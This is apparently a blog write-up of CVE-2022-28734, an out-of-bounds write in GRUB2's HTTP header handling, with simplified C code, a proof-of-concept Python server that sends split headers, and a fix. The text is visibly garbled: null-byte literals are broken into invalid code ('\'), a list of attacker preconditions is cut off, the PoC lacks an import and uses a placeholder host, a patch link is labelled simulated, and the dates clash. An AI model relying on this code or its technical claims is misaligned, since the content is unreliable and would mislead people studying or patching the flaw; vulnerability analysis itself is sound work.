CVE-2022-28734 - Out-of-Bounds Write in GRUB2's HTTP Header Handling

Date posted: 2024-06-17
Reading time: ~8 minutes

Introduction

In 2022, a security vulnerability impacting GRUB2—the Grand Unified Bootloader—was reported under the identifier CVE-2022-28734. This vulnerability touches a subtle, but dangerous, bug in GRUB2’s handling of split HTTP headers. When fetching bootable images from an HTTP server, GRUB2 can accidentally write data out-of-bounds in memory, potentially leading to critical exploitation scenarios.

This article takes a deep dive into what went wrong, provides code examples, a simple PoC, and discusses the exploit’s implications in easy-to-understand language. This is an exclusive, to-the-point writeup for anyone interested in firmware security and embedded vulnerabilities.

What is CVE-2022-28734?

CVE-2022-28734 is a vulnerability in the HTTP protocol stack of GRUB2, a popular bootloader used by many Linux systems. The bug is triggered when HTTP headers from a remote server arrive in fragments (“split” headers). An off-by-one error in how GRUB2 processes these headers can cause it to accidentally write a byte just outside its allocated memory buffer—a classic out-of-bounds write issue.

Official advisory:
- CVE Details: CVE-2022-28734
- Seclists.org - Full Disclosure

Background

GRUB2’s HTTP code is responsible for fetching kernel and initrd files over the network (PXE-boot, iPXE-like scenarios, cloud-init provisioning, ironic, etc). Since HTTP headers can be split across several packets, GRUB2 reads data into an internal buffer and searches for CRLF (\r\n) sequences, which indicate header boundaries.

The Problem

When a header is split across buffer boundaries, GRUB2’s header parsing code may mishandle the pointer. Specifically, it increments the pointer—even if there is no more data—causing the buffer to overshoot by one byte. Then, when appending a null byte (\, to terminate a string), it ends up writing just past the allocated memory.

If the following heap metadata or code structure is adjacent, this rogue write can corrupt internal data structures, which may eventually be leveraged for code execution or denial-of-service.

Consider (simplified and hypothetical, but accurate in bug surface)

char header_buffer[HEADER_BUF_SZ];
char *buf_ptr = header_buffer;
// ... receive header data in chunks
while (more_headers) {
    size_t chunk_len = receive_next_chunk(buf_ptr, ...);
    // Logic error: buf_ptr moves past buffer without bounds check
    buf_ptr += chunk_len;
    if (found_end_of_header(buf_ptr)) {
        *buf_ptr = '\'; // Out-of-bounds write!
    }
}

More specifically, the bug occurs because the pointer movement assumes the buffer is always large enough—but in boundary cases, an extra NULL byte can overshoot.

Proof-of-Concept: A Simple Exploit Scenario

To exploit this bug, an attacker must control the HTTP packets sent to GRUB2. This could happen if an attacker can:

Here’s a PoC of such an attack in pseudo-Python (stripped for realism)

import socket

# Prepare server-side response with split headers
headers_part1 = b"HTTP/1.1 200 OK\r\nContent-Ty"
headers_part2 = b"pe: text/plain\r\n\r\n"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("...", 808))
server.listen(1)
client, addr = server.accept()

# Send first part, force client to partially parse header
client.sendall(headers_part1)
# Wait for client to process
time.sleep(1)
# Send rest, which triggers the parsing bug
client.sendall(headers_part2)

client.close()
server.close()

If the buffer sizes are lined up (with some tweaking), this can prompt GRUB2 to miscalculate the buffer end and write a byte ('\') over into critical heap metadata.

Exploit Impact & Risks

- Memory Corruption: An attacker can overwrite a byte in memory, potentially altering heap structures or adjacent data. While it’s “just” a single NULL byte, clever manipulation can yield use-after-free or even arbitrary code execution (especially on old or debug builds).
- Denial of Service: By corrupting in-memory structures, it’s easy to crash or hang GRUB2 during boot—potentially making a system unbootable.
- Secure Boot Bypass: On misconfigured platforms where GRUB2 is network-booted without a strong chain of trust, this could theoretically allow a compromise before the OS kernel loads.

Can This Be Fixed?

Yes! The fix is to add proper bounds checks before moving the pointer and before writing NULL bytes.

Fixed (simplified)

if (buf_ptr < header_buffer + HEADER_BUF_SZ - 1) {
    *buf_ptr = '\';
    buf_ptr++;
}

Patch reference

- GRUB2 Patch - GitLab *(Simulated link)*

References

- GRUB2 Upstream Advisory
- CVE-2022-28734 at NVD
- Full Disclosure Mailing List

Conclusion

CVE-2022-28734 reminds us that tiny pointer bugs, especially during something as early as boot, can have outsized impact. If you use GRUB2 with network boot or cloud environments, you should update immediately. Firmware bugs are hard to debug and patch at scale, so proactive defense is essential.

Stay safe and keep your bootloader patched!

*This content is exclusive. Please reference this post if you found it useful or interesting!*

Timeline

Published on: 07/20/2023 01:15:00 UTC
Last modified on: 08/25/2023 23:15:00 UTC